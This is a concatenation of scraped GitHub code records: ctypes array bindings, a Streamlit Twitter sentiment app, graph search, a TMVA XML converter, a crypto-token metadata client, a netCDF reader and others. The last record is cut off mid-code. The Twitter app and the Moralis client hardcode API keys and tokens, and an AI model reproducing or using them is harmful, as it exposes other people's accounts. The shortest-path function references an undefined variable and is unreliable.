ctypes.pythonapi.PyCapsule_SetDestructor(dltensor, DECORDPyCapsuleDestructor(0))\n return _make_array(handle, False)\n raise ValueError(\"Expect a dltensor field, PyCapsule can only be consumed once\")\n\n\ndef _dlpack_deleter(pycapsule):\n pycapsule = ctypes.cast(pycapsule, ctypes.py_object)\n if ctypes.pythonapi.PyCapsule_IsValid(pycapsule, _c_str_dltensor):\n ptr = ctypes.pythonapi.PyCapsule_GetPointer(pycapsule, _c_str_dltensor)\n # XXX(minjie): The below cast should be unnecessary given the code to\n # set restype of PyCapsule calls. But weirdly, this does not\n # work out always.\n ptr = ctypes.cast(ptr, ctypes.c_void_p)\n _LIB.DECORDDLManagedTensorCallDeleter(ptr)\n ctypes.pythonapi.PyCapsule_SetDestructor(pycapsule, DECORDPyCapsuleDestructor(0))\n\n_c_dlpack_deleter = DECORDPyCapsuleDestructor(_dlpack_deleter)\n\n\nclass NDArrayBase(object):\n \"\"\"A simple Device/CPU Array object in runtime.\"\"\"\n __slots__ = [\"handle\", \"is_view\"]\n # pylint: disable=no-member\n def __init__(self, handle, is_view=False):\n \"\"\"Initialize the function with handle\n\n Parameters\n ----------\n handle : DECORDArrayHandle\n the handle to the underlying C++ DECORDArray\n \"\"\"\n self.handle = handle\n self.is_view = is_view\n\n def __del__(self):\n if not self.is_view and _LIB:\n check_call(_LIB.DECORDArrayFree(self.handle))\n\n @property\n def _decord_handle(self):\n return ctypes.cast(self.handle, ctypes.c_void_p).value\n\n def to_dlpack(self):\n \"\"\"Produce an array from a DLPack Tensor without copying memory\n\n Returns\n -------\n dlpack : DLPack tensor view of the array data\n \"\"\"\n ptr = ctypes.c_void_p()\n check_call(_LIB.DECORDArrayToDLPack(self.handle, ctypes.byref(ptr)))\n return ctypes.pythonapi.PyCapsule_New(ptr, _c_str_dltensor, _c_dlpack_deleter)\n\n\ndef _make_array(handle, is_view):\n handle = ctypes.cast(handle, DECORDArrayHandle)\n return _CLASS_NDARRAY(handle, is_view)\n\n_DECORD_COMPATS = ()\n\ndef _reg_extension(cls, fcreate):\n global _DECORD_COMPATS\n _DECORD_COMPATS += (cls,)\n if fcreate:\n fret = lambda x: fcreate(_return_handle(x))\n RETURN_SWITCH[cls._decord_tcode] = fret\n C_TO_PY_ARG_SWITCH[cls._decord_tcode] = _wrap_arg_func(fret, cls._decord_tcode)\n\n\n_CLASS_NDARRAY = None\n\ndef _set_class_ndarray(cls):\n global _CLASS_NDARRAY\n _CLASS_NDARRAY = cls\n","repo_name":"dmlc/decord","sub_path":"python/decord/_ffi/_ctypes/ndarray.py","file_name":"ndarray.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","stars":1450,"dataset":"github-code","pt":"54"} +{"seq_id":"5915289875","text":"def compress(some_string: str) -> str:\n \"\"\"\n\n Compresses `some_string` using a naive compression algorithm, which converts\n continuous runs of characters to\n `\"{}{}\".format(character, number_of_continuous_appearances)`\n\n The flaw with this approach is that it is impossible to correctly decompress\n a string in cases where the original string contained numbers. As an\n example, `aab2cc` compresses to `a2b121c2`, which would indicate to the\n decompression algorithm that `b` needs to be repeated 121 times.\n\n \"\"\"\n\n if len(some_string) <= 0:\n return some_string\n\n output = [[some_string[0], 1]]\n length_so_far = 0\n\n for char in some_string[1:]:\n if output[-1][0] == char:\n output[-1][1] += 1\n else:\n length_so_far += 1 + len(str(output[-1][1]))\n if length_so_far > len(some_string):\n return some_string\n output.append([char, 1])\n\n length_so_far += 1 + len(str(output[-1][1]))\n if length_so_far > len(some_string):\n return some_string\n\n return \"\".join(map(lambda tup: tup[0] + str(tup[1]), output))\n","repo_name":"AustinTSchaffer/DailyProgrammer","sub_path":"Cracking the Coding Interview/Python/ctci/chapter01/_q06.py","file_name":"_q06.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"23684891807","text":"import streamlit as st\nfrom sklearn import datasets\nfrom pandas_datareader import data\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport datetime\nimport urllib.request, json\nimport os\nimport numpy as np\nimport requests\nimport io\nimport re\nfrom spacy.lang.en import English\nimport boto3\nimport emoji\nimport nltk\nnltk.download('words')\nwords = set(nltk.corpus.words.words())\nimport tweepy as tw\nfrom pytz import timezone\n\n# HomePage styling\nhtml_temp = \"\"\"\n
\n

Twitter App

\n
\n\"\"\"\n#st.markdown(html_temp, unsafe_allow_html=True)\nst.write('')\nst.markdown(\n \"\"\"\n\n\"\"\",\n unsafe_allow_html=True,\n)\n\nst.set_option('deprecation.showPyplotGlobalUse', False)\ndef app():\n header_html1 = \"

Twitter Analysis

\"\n st.markdown(\n header_html1, unsafe_allow_html=True,\n )\n \n topics = st.sidebar.selectbox(\"Select task\",\n ['---- Select ---',\n 'Get Tweets',\n 'Get Sentiments'],\n index = 0\n )\n\n @st.cache\n def get_tweets(keyword):\n\n consumer_key = 'f6sxSv3IkOnEyNIwF9Ycayf6i'\n consumer_secret = 'mvVQNtYGDDe5Tv3T3Wwa5SL1GYaqY9PFow91m4jSs0t7bbtltV'\n access_token = '3166578447-hoMCQrwmdoeJRj14aoPIwj2G7hWINgdvAmkOv9F'\n access_token_secret = 'FndXsZ7REb8PekqUZMwaxRtHU2ubj3W8Xk9RmoaPGyWsV'\n\n auth = tw.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tw.API(auth, wait_on_rate_limit=True)\n search_words = keyword + \" -filter:retweets\"\n tweets = api.search(q=search_words,\n lang=\"en\", tweet_mode=\"extended\")\n #st.write(tweets) \n df = pd.DataFrame([tweet.full_text for tweet in tweets], columns=['Tweets'])\n # st.write(df) \n \n \n # def cleanTxt(text):\n # text = re.sub('@[A-Za-z0–9]+', '', text) #Removing @mentions\n # text = re.sub('#', '', text) # Removing '#' hash tag\n # text = re.sub('RT[\\s]+', '', text) # Removing RT\n # text = re.sub('https?:\\/\\/\\S+', '', text) # Removing hyperlink\t\t\t\t\t \n # return text\n \n # df['Tweets'] = df['Tweets'].apply(cleanTxt)\n \n\n return df\n\n def cleaner(tweet):\n tweet = re.sub(\"@[A-Za-z0-9]+\",\"\",tweet) #Remove @ sign\n tweet = re.sub(r\"(?:\\@|http?\\://|https?\\://|www)\\S+\", \"\", tweet) #Remove http links\n tweet = \" \".join(tweet.split())\n tweet = ''.join(c for c in tweet if c not in emoji.UNICODE_EMOJI) #Remove Emojis\n tweet = tweet.replace(\"#\", \"\").replace(\"_\", \" \") #Remove hashtag sign but keep the text\n tweet = \" \".join(w for w in nltk.wordpunct_tokenize(tweet) \\\n if w.lower() in words or not w.isalpha())\n return tweet\n\n @st.cache\n def connect_to_aws():\n session = boto3.Session()\n s3 = session.resource('s3')\n bucket_name = 'edgarpipeline'\n my_bucket = s3.Bucket(bucket_name)\n output = \"\"\n\n for object_summary in my_bucket.objects.filter(Prefix=\"2021/04/27/23/\"):\n body = object_summary.get()['Body'].read()\n output = output + (str(body))\n #print (output)\n return output\n\n @st.cache\n def get_realtime_tweets(company_tweet):\n s3 = boto3.client(\"s3\", \n region_name='us-east-1'\n )\n\n resource = boto3.resource('s3')\n today = str(datetime.date.today())\n \n datee = datetime.datetime.strptime(today, \"%Y-%m-%d\")\n current_month = str(datee.month)\n\n if int(current_month) > 9:\n current_month = current_month\n else:\n current_month = '0' + str(current_month)\n \n current_day = str(datee.day)\n if int(current_day) > 9:\n current_day = current_day\n else:\n current_day = '0' + str(current_day)\n \n current_year = str(datee.year)\n\n if int(current_year) > 9:\n current_year = current_year\n else:\n current_year = '0' + str(current_year)\n \n now = datetime.datetime.now()\n now_utc = datetime.datetime.now(timezone('UTC'))\n format = \"%H\"\n \n time_hour = now_utc.strftime(format)\n if int(time_hour) > 10:\n time_hour = time_hour\n else:\n time_hour = '0' + str(time_hour)\n \n my_bucket = resource.Bucket('stockpriceteam5business')\n \n path = company_tweet+'/year='+str(current_year)+'/month='+str(current_month)+'/day='+str(current_day)+'/hour='+str(time_hour)+'/'\n \n prefix = company_tweet+'/year='+str(current_year)+'/month='+str(current_month)+'/day='+str(current_day)+'/hour=00/' \n \n df = pd.DataFrame(columns=['tweet', 'sentiment', 'sentiment_score','ts'])\n for obj in my_bucket.objects.filter(Prefix=prefix): \n body = obj.get()['Body'].read()\n string_body = body.decode(\"utf-8\")\n final_dictionary = eval(string_body)\n for i in final_dictionary['data']:\n df = df.append(i, ignore_index=True)\n df['ts']= pd.to_datetime(df['ts'])\n df = df.set_index('tweet')\n #df = df.drop(['clean_tweet'], axis=1)\n return df\n \n \n \n if topics == 'Get Tweets': \n contents = connect_to_aws()\n st.write('Please add tags you want to search:')\n #st.write(contents)\n hashtag = st.text_area(\"*Enter any keyword to get data from twitter*\") \n if st.button(\"Show Data\"):\n st.success(\"Fetching Tweets\") \n recent_tweets= get_tweets(hashtag)\n recent_tweets.reset_index(drop=True, inplace=True)\n st.table(recent_tweets)\n \n elif topics == 'Get Sentiments':\n header_html4 = \"

Please select a company for live streaming tweets

\"\n\n st.markdown(\n header_html4, unsafe_allow_html=True,\n )\n company_tweet = st.selectbox(\"Select company\",\n ['---- Select ---',\n 'TSLA',\n 'APPL',\n 'FB',\n 'MSFT','TWTR'],\n index = 0\n )\n result = get_realtime_tweets(company_tweet)\n dfinal = pd.DataFrame(columns=['NEGATIVE', 'POSITIVE', 'NEUTRAL'])\n negative = 0\n positive = 0\n neutral = 0\n for i in range(0, len(result['sentiment'])):\n \n if result['sentiment'][i] == 'NEGATIVE': \n negative += 1\n elif result['sentiment'][i] == 'POSITIVE':\n positive += 1\n elif result['sentiment'][i] == 'NEUTRAL':\n neutral +=1 \n \n dfinal = dfinal.append({'NEGATIVE' : negative,\n 'POSITIVE' : positive,\n 'NEUTRAL' : neutral} , \n ignore_index=True)\n #st.button(\"Re-run\")\n header_html3 = \"

Sentiments Segregation

\"\n st.markdown(\n header_html3, unsafe_allow_html=True,\n )\n st.table(dfinal)\n header_html5 = \"

Tweets and Scores

\"\n st.markdown(\n header_html5, unsafe_allow_html=True,\n )\n st.table(result)\n \n \n\n \n","repo_name":"catchvivek94/Team5_CSYE7245_Spring2021","sub_path":"Project/Streamlitapp/apps/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":9357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41154440509","text":"class Graph:\n\n def __init__(self, edges):\n self.edges = edges\n self.graphDict = {}\n for start, end in self.edges:\n if start in self.graphDict:\n self.graphDict[start].append(end)\n else:\n self.graphDict[start] = [end]\n\n def getPaths(self, start, end, path=[]):\n \n path = path + [start] # path holds the current path\n\n if start == end: # break case\n return [path]\n\n if start not in self.graphDict: # if there are no outgoing flights\n return []\n\n paths = [] # paths holds all possible paths\n for node in self.graphDict[start]:\n if node not in path: # prevents circular loops\n new_paths = self.getPaths(node, end, path)\n for p in new_paths:\n paths.append(p)\n\n return(paths)\n\n def getShortestPath(self, start, end, path = []):\n path = path + [start]\n if start == end:\n return(path)\n if start not in self.graphDict:\n return(None)\n \n shortestPath = None\n for node in self.graphDict[start]:\n if node not in path: # prevents circular loops\n newpath = self.getShortestPath(node, end, path)\n if sp:\n if shortestPath is None or len(newpath) < len(shortestPath):\n shortestPath = sp\n return(shortestPath)\n\n\nif __name__ == \"__main__\":\n routes = [\n (\"Mumbai\", \"Paris\"),\n (\"Mumbai\", \"Dubai\"),\n (\"Paris\", \"Dubai\"),\n (\"Paris\", \"New York\"),\n (\"Dubai\", \"New York\"),\n (\"New York\", \"Toronto\"),\n (\"Paris\", \"Mumbai\") # circular tester :)\n ]\n\n routeGraph = Graph(routes)\n print(routeGraph.getShortestPath(\"Mumbai\",\"New York\"))","repo_name":"owenmoogk/gists","sub_path":"algo-problems/algorithm-exercises/airlines.py","file_name":"airlines.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43538802782","text":"from http.server import BaseHTTPRequestHandler\nimport json\nfrom datetime import datetime\n\nfrom enlist.get import get\nfrom enlist.values import CURRENT_YEAR\n\n\nclass handler(BaseHTTPRequestHandler):\n\n def do_GET(self):\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n self.end_headers()\n\n events_list = get(in_json=True)\n\n resp = {\n 'year': CURRENT_YEAR,\n 'events_list': events_list\n }\n self.wfile.write(json.dumps(resp).encode())\n return\n","repo_name":"ninest/enlist","sub_path":"api/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"42200237256","text":"from actor_critic import ActorCritic\n\n\nclass GoalController(object):\n def __init__(self,\n state_dim,\n action_bound=1.0,\n final_activation=tf.identity,\n training_batch_size=32,\n GAMMA=0.95,\n lr=0.001,\n replay_buffer_size=1024):\n\n self.AC = ActorCritic(\n state_dim,\n state_dim,\n final_activation=final_activation,\n action_bound=action_bound,\n training_batch_size=training_batch_size,\n GAMMA=GAMMA,\n lr=lr,\n replay_buffer_size=replay_buffer_size)\n\n def add_to_replay_buffer(self, state, goal_state, reward, resulting_state):\n # Here, reward means exactly what it sounds like it does...\n self.AC.add_to_replay_buffer(state, goal_state, reward,\n resulting_state)\n\n def add_batch_to_replay_buffer(self, states, goal_states, rewards,\n resulting_states):\n for s, gs, r, rs in zip(states, goal_states, rewards,\n resulting_states):\n self.AC.add_to_replay_buffer(s, gs, r, rs)\n\n def train_from_replay_buffer(self):\n self.AC.train_from_replay_buffer()\n\n def get_goal_state(self, current_states):\n return self.AC.get_actions(current_states)\n","repo_name":"samlobel/PUPPETEER_LEARNING","sub_path":"goal_controller.py","file_name":"goal_controller.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30723370963","text":"\"\"\"\nWeekly Programmer for the week of January 28\n\nGiven n non-negative integers a1, a2, ..., an, where each represents a point at\ncoordinate (i,ai), n vertical lines are drawn such that the two endpoints of\nline i are at (i,ai) and (i,0). Find two lines, which together with the x-axis\nforms a container, such that the container contains the most water.\n\nYou may not slant the container and n is at least 2.\n\"\"\"\nimport time\n\n\ndef max_area_pointers(heights):\n area = 0\n p1 = 0\n p2 = len(heights) - 1\n while (p1 < p2):\n area = max(area, min(heights[p1], heights[p2]) * (p2 - p1))\n if (heights[p1] < heights[p2]):\n p1 += 1\n else:\n p2 -= 1\n return area\n\n\nt0 = time.clock()\nprint(max_area_pointers([1, 8, 6, 2, 5, 4, 8, 3, 7]))\nt1 = time.clock()\nprint(\"{0} ms\".format((t1 - t0) * 1000))\n","repo_name":"isaiahchen28/ProgrammingMLM","sub_path":"WeeklyProgrammer/ContainerArea.py","file_name":"ContainerArea.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71092333602","text":"import xml.etree.cElementTree as ET\n\nNodePurityLimit = 0.5\n\ndef build_xml_tree__Grad(dt_clf,node_id,node_pos,parent_depth,parent_elementTree,learning_rate):\n \"\"\"\n Takes a tree given from the ensemble and makes the xml output\n \"\"\"\n tree = dt_clf.tree_\n n_nodes = tree.node_count\n children_left = tree.children_left\n children_right = tree.children_right\n feature = tree.feature\n threshold = tree.threshold\n value = tree.value\n if (children_left[node_id] != children_right[node_id]):\n node_depth = parent_depth + 1\n if node_id == 0:\n pos = 's'\n else:\n pos = node_pos\n depth = str(node_depth)\n IVar = str(feature[node_id])\n Cut = str(threshold[node_id])\n node_elementTree = ET.SubElement(\n parent_elementTree,\"Node\",\n pos=pos,\n depth=depth,\n NCoef='0',\n IVar=IVar,\n Cut=Cut,\n cType='1',\n res='0.0e+01',\n rms='0.0e+00',\n purity='0.0e+00',\n nType='0'\n )\n build_xml_tree__Grad(\n dt_clf, children_left[node_id], \"l\",\n node_depth, node_elementTree, learning_rate\n )\n build_xml_tree__Grad(\n dt_clf, children_right[node_id], \"r\",\n node_depth, node_elementTree, learning_rate\n )\n else:\n node_depth = parent_depth + 1\n if node_id == 0:\n pos = 's'\n else:\n pos = node_pos\n depth = node_depth\n IVar = -1\n global NodePurityLimit\n sig = value[node_id][0][0]*learning_rate/2.0\n purity = \"0.0e+00\"\n\n node_elementTree = ET.SubElement(\n parent_elementTree, \"Node\", pos=pos,\n depth=str(depth), NCoef=\"0\", IVar=str(IVar),\n Cut=\"0.0e+00\", cType=\"1\", res=str(sig),\n rms=\"0.0e+00\", purity=str(purity), nType=\"-99\"\n )\n\n\ndef convert_bdt__Grad(bdt_clf, input_var_list, tmva_outfile_xml):\n\n NTrees = bdt_clf.n_estimators\n learning_rate = bdt_clf.learning_rate\n var_list = input_var_list\n MethodSetup = ET.Element(\"MethodSetup\", Method=\"BDT::BDT\")\n GeneralInfo = ET.SubElement(MethodSetup, \"GeneralInfo\")\n Info_Creator = ET.SubElement(\n GeneralInfo, \"Info\", name=\"Creator\", value=\"VBF-learn (Yacine Haddad)\"\n )\n Info_AnalysisType = ET.SubElement(\n GeneralInfo, \"Info\", name=\"AnalysisType\", value=\"Classification\"\n )\n\n # \n Options = ET.SubElement(MethodSetup, \"Options\")\n Option_NodePurityLimit = ET.SubElement(\n Options, \"Option\", name=\"NodePurityLimit\", modified=\"No\"\n ).text = str(NodePurityLimit)\n Option_BoostType = ET.SubElement(\n Options, \"Option\", name=\"BoostType\", modified=\"Yes\"\n ).text = \"Grad\"\n Option_NTrees = ET.SubElement(\n Options, \"Option\", name='NTrees', modified=\"Yes\"\n ).text = str(bdt_clf.n_estimators)\n Option_MaxDepth = ET.SubElement(\n Options, \"Option\", name='MaxDepth', modified=\"Yes\"\n ).text = str(bdt_clf.max_depth)\n Option_Shrinkage = ET.SubElement(\n Options, \"Option\", name=\"Shrinkage\", modified=\"Yes\"\n ).text = str(bdt_clf.learning_rate)\n Option_UseNvars = ET.SubElement(\n Options, \"Option\", name='UseNvars', modified=\"Yes\"\n ).text = str(bdt_clf.max_features)\n\n # \n Variables = ET.SubElement(MethodSetup, \"Variables\", NVar=str(len(var_list)))\n for ind, val in enumerate(var_list):\n max_val = str(X_train[:,ind].max())\n min_val = str(X_train[:,ind].min())\n print(min_val, max_val)\n Variable = ET.SubElement(\n Variables, \"Variable\", VarIndex=str(ind), Type='F',\n Expression=val, Label=val, Title=val, Unit=\"\", Internal=val,\n Min=min_val, Max=max_val\n )\n # \n Spectators = ET.SubElement(MethodSetup, 'Spectators', NSpec='0')\n # \n Classes = ET.SubElement(MethodSetup, \"Classes\", NClass='2')\n class_Creator = ET.SubElement(Classes, 'class', Name='Signal', Index='0')\n class_Creator = ET.SubElement(Classes, 'class', Name='Background', Index='1')\n # \n Transformations = ET.SubElement(\n MethodSetup, 'Transformations', NTransformations='0'\n )\n # \n MVAPdfs = ET.SubElement(MethodSetup, 'MVAPdfs')\n # \n Weights = ET.SubElement(MethodSetup, \"Weights\", NTrees=str(NTrees), AnalysisType=\"1\") \n for idx, dt in enumerate(bdt_clf.estimators_[:, 0]):\n BinaryTree = ET.SubElement(Weights, \"BinaryTree\", type=\"DecisionTree\", boostWeight=\"1.0e+00\", itree=str(idx))\n build_xml_tree__Grad(dt, 0, \"s\", -1, BinaryTree,learning_rate)\n\n XMLtext= ET.tostringlist(MethodSetup)\n OutputStr=''\n level=-1\n\n for t in XMLtext:\n\n if t[0]=='<':\n level=level+1\n if t[0:2]=='':\n t=\"\\n\"+\" \"*level+t \n\n if t[-2:]=='/>' or t[level*4+1:level*4+3]=='': \n # t=t+'\\n'\n\n OutputStr=OutputStr+t\n\n f = open(tmva_outfile_xml, \"w\")\n f.write(OutputStr)\n f.close()\n","repo_name":"yhaddad/vbf-learn","sub_path":"mlearn/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74373126560","text":"import json\nimport requests\n\nheaders = {\n 'accept': 'application/json',\n 'X-API-Key': 'ML5nx3bP0hScC1assNgG8nsYTRCkk5yAwvTOKJaYc6WHZdDpKPRMKazn5K9jLju8',\n}\n\nchains = [\n 'eth', 'bsc', 'bsc testnet', '0x1', 'ropsten', \n '0x3', 'rinkeby', '0x4', 'goerli', '0x5', '0x38',\n 'kovan', '0x2a', 'polygon', '0x89', 'mumbai', '0x13881',\n '0x61', 'avalanche','0xa86a', 'avalanche testnet', \n '0xa869', 'fantom', '0xfa', 'cronos', '0x19'\n ]\n\n# network, name, symbol, decimal, create_at\ndef get_meta_data_erc20(token_address: str, chain_index = 0):\n url = 'https://deep-index.moralis.io/api/v2/erc20/metadata'\n params = {\n 'chain': chains[chain_index],\n 'addresses': token_address\n }\n\n response = requests.get(url, params=params, headers=headers).json()\n if response[0]['name'] != '':\n data = response[0]\n return (chain_index, data['name'], data['symbol'], data['decimals'], data['created_at'])\n elif chain_index == len(chains) - 1:\n return None\n else:\n return get_meta_data_erc20(token_address, chain_index+1)\n\n# usdPrice\ndef get_price_erc20(token_address: str, chain_index = 0):\n url = 'https://deep-index.moralis.io/api/v2/erc20/%s/price' %token_address\n params = {\n 'chain': chains[chain_index],\n }\n response = requests.get(url, params=params, headers=headers)\n if response.status_code == 200:\n return response.json()['usdPrice']\n else:\n return None\n\n# erc20 token transactions\ndef get_transactions_erc20(token_address: str, chain:str=None):\n url = 'https://deep-index.moralis.io/api/v2/erc20/%s/transfers' %token_address\n def get_next_page(cursor: str):\n if cursor == None:\n params = {\n 'chain': chain,\n }\n else:\n params = {\n 'chain': chain,\n 'cursor': cursor\n }\n response = requests.get(url, params=params, headers=headers).json()\n return response['cursor'], response['result']\n\n cursor, transactions = get_next_page(None)\n while cursor != None:\n cursor, transactions_next = get_next_page(cursor)\n transactions.append(transactions_next)\n \n return transactions\n\n# numbers of erc20 token transactions\ndef get_numbers_of_transactions(token_address: str, chain: str=None):\n url = 'https://deep-index.moralis.io/api/v2/erc20/%s/transfers' %token_address\n params = {\n 'chain': chain,\n }\n response = requests.get(url=url, params=params, headers=headers).json()\n return response['total']\n\n# call to a contract funtion\ndef call_contract_function(token_address: str, function_name: str,\n contract_abi: str, chain_index = 0):\n params = {\n 'chain' : chains[chain_index],\n 'function_name' : function_name\n }\n json_data = {\n 'abi' : contract_abi,\n 'params' : {}\n }\n url = 'https://deep-index.moralis.io/api/v2/%s/function' %token_address\n response = requests.post(url=url, data=json_data, headers=headers, params=params)\n if response.json['message'] is not None:\n return None\n return response\n\n\n# get the liquidity of the token by USD or BNB\ndef get_liquidity_of_token(token: str):\n url = 'https://api.pancakeswap.info/api/v2/tokens/' + token\n response = requests.get(url).json()\n try:\n data = response['data']\n name = data['name']\n symbol = data['symbol']\n price_USD = data['price']\n price_BNB = data['price_BNB']\n except:\n return('Not Found', 'Not Found', '0', '0.0')\n return (name, symbol, price_USD, price_BNB)\n\n# call to this function to retrieve from Moralis tokens metadata\ndef get_moralis_metadata_erc20(token_address: str):\n metadata = get_meta_data_erc20(token_address)\n if metadata == None:\n return None\n \n chain_index, name, symbol, decimal, create_at = metadata\n price = get_price_erc20(token_address, chain_index)\n numbers_transaction = get_numbers_of_transactions(token_address, chains[chain_index])\n \n return (chains[chain_index], name, symbol, decimal, create_at, price, numbers_transaction)\n\n\n","repo_name":"auditrate-tech/detect-scam","sub_path":"get_info_api/moralis.py","file_name":"moralis.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"10494269682","text":"'''\nREFERENCES\n netcdf4-python -- http://code.google.com/p/netcdf4-python/\n NCEP/NCAR Reanalysis -- Kalnay et al. 1996\n http://dx.doi.org/10.1175/1520-0477(1996)077<0437:TNYRP>2.0.CO;2\n https://iescoders.com/reading-netcdf4-data-in-python/ - useful tutorial\n'''\nimport datetime as dt # Python standard library datetime module\nimport numpy as np\nfrom netCDF4 import Dataset # http://code.google.com/p/netcdf4-python/\nimport matplotlib.pyplot as plt\n\n\nif __name__ == '__main__':\n download_data = False\n print_info = False\n\n nc_f = 'http://www.esrl.noaa.gov/psd/thredds/dodsC/Datasets/noaa.oisst.v2/sst.wkmean.1981-1989.nc?time[0:426],sst[0:426][0:179][0:359]' # Your filename\n nc_f_new = 'http://www.esrl.noaa.gov/psd/thredds/dodsC/Datasets/noaa.oisst.v2/sst.wkmean.1990-present.nc?time[0:1486],sst[0:1486][0:179][0:359]'\n source_mask = 'http://www.esrl.noaa.gov/psd/thredds/dodsC/Datasets/noaa.oisst.v2/lsmask.nc?lat[0:1:179],lon[0:1:359],mask[0][0:179][0:359]';\n\n if download_data:\n nc_fid = Dataset(nc_f, 'r') # Dataset is the class behavior to open the file\n # and create an instance of the ncCDF4 class\n\n if print_info:\n print(nc_fid)\n # Dimensions\n for d in nc_fid.dimensions.items():\n print(d)\n\n for d in nc_fid.variables.items():\n print(d)\n\n mask_f = Dataset(source_mask,'r')\n\n if print_info:\n print(mask_f)\n\n # # Variables\n sst = nc_fid.variables[\"sst\"][:]\n time_var = nc_fid.variables[\"time\"][:]\n mask = mask_f.variables[\"mask\"][:]\n lat = mask_f.variables[\"lat\"][:]\n lon = mask_f.variables[\"lon\"][:]\n\n sst.dump('sst_var')\n time_var.dump('time_var')\n mask.dump('mask')\n lat.dump('lat')\n lon.dump('lon')\n\n else:\n sst = np.load('sst_var',allow_pickle=True)\n time_var = np.load('time_var',allow_pickle=True)\n lat = np.load('lat',allow_pickle=True)\n lon = np.load('lon',allow_pickle=True)\n mask = np.load('mask',allow_pickle=True)\n\n print(np.shape(lat),np.shape(lon),np.shape(sst),np.shape(mask))\n\n sst = sst*mask\n\n for t in range(10):\n plt.figure()\n cs = plt.contourf(lon,lat,sst[t,:,:])\n plt.colorbar()\n plt.show()\n\n\n\n\n ","repo_name":"Romit-Maulik/Practice","sub_path":"Other_Python/netcdf_reader/netcdf_example.py","file_name":"netcdf_example.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"1221920511","text":"from __future__ import annotations\n\nfrom _socket import gaierror\nimport psycopg2\n\nfrom dl_core.exc import SourceHostNotKnownError\n\nfrom dl_connector_postgresql.core.postgresql_base.error_transformer import (\n make_async_pg_error_transformer,\n sync_pg_db_error_transformer,\n)\n\n\nNAME_OR_SERVICE_NOT_KNOWN_MSG = \"\"\"\n could not translate host name\n \"c-someclusterid.ro.mdb.yandexcloud.net\" to address:\n Name or service not known\n \"\"\"\n\n\ndef test_name_or_service_not_known_sync():\n transformer = sync_pg_db_error_transformer\n\n parameters = transformer.make_bi_error_parameters(\n wrapper_exc=psycopg2.OperationalError(NAME_OR_SERVICE_NOT_KNOWN_MSG)\n )\n\n assert parameters[0] == SourceHostNotKnownError\n\n\ndef test_name_or_service_not_known_async():\n transformer = make_async_pg_error_transformer()\n\n parameters = transformer.make_bi_error_parameters(wrapper_exc=gaierror(NAME_OR_SERVICE_NOT_KNOWN_MSG))\n\n assert parameters[0] == SourceHostNotKnownError\n","repo_name":"datalens-tech/datalens-backend","sub_path":"lib/dl_connector_postgresql/dl_connector_postgresql_tests/unit/test_error_transformer.py","file_name":"test_error_transformer.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"41503669696","text":"import gevent\nfrom rest_framework import status, viewsets\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.decorators import link, action\nfrom ovs.lib.messaging import MessageController\nfrom backend.decorators import required_roles, load, log\n\n\nclass MessagingViewSet(viewsets.ViewSet):\n \"\"\"\n Information about messages\n \"\"\"\n permission_classes = (IsAuthenticated,)\n prefix = r'messages'\n base_name = 'messages'\n\n @log()\n @required_roles(['read'])\n @load()\n def list(self):\n \"\"\"\n Provides a list of subscriptions\n \"\"\"\n return Response(MessageController.all_subscriptions(), status=status.HTTP_200_OK)\n\n @log()\n @required_roles(['read'])\n @load()\n def retrieve(self, pk):\n \"\"\"\n Retrieves the subscriptions for a given subscriber\n \"\"\"\n try:\n pk = int(pk)\n except (ValueError, TypeError):\n return Response(status=status.HTTP_400_BAD_REQUEST)\n return Response(MessageController.subscriptions(pk), status=status.HTTP_200_OK)\n\n @staticmethod\n def _wait(subscriber_id, message_id):\n messages = []\n last_message_id = 0\n counter = 0\n while len(messages) == 0:\n messages, last_message_id = MessageController.get_messages(subscriber_id, message_id)\n if len(messages) == 0:\n counter += 1\n if counter >= 120: # 120 * 0.5 seconds = 60 seconds = 1 minute\n break\n gevent.sleep(.5)\n if len(messages) == 0:\n last_message_id = MessageController.last_message_id()\n MessageController.reset_subscriptions(subscriber_id)\n return messages, last_message_id\n\n @link()\n @log()\n @required_roles(['read'])\n @load()\n def wait(self, pk, message_id):\n \"\"\"\n Wait for messages to appear for a given subscriber\n \"\"\"\n try:\n pk = int(pk)\n message_id = int(message_id)\n except (ValueError, TypeError):\n return Response(status=status.HTTP_400_BAD_REQUEST)\n thread = gevent.spawn(MessagingViewSet._wait, pk, message_id)\n gevent.joinall([thread])\n messages, last_message_id = thread.value\n return Response({'messages' : messages,\n 'last_message_id': last_message_id,\n 'subscriptions' : MessageController.subscriptions(pk)}, status=status.HTTP_200_OK)\n\n @link()\n @log()\n @required_roles(['read'])\n @load()\n def last(self, pk):\n \"\"\"\n Get the last messageid\n \"\"\"\n try:\n _ = int(pk)\n except (ValueError, TypeError):\n return 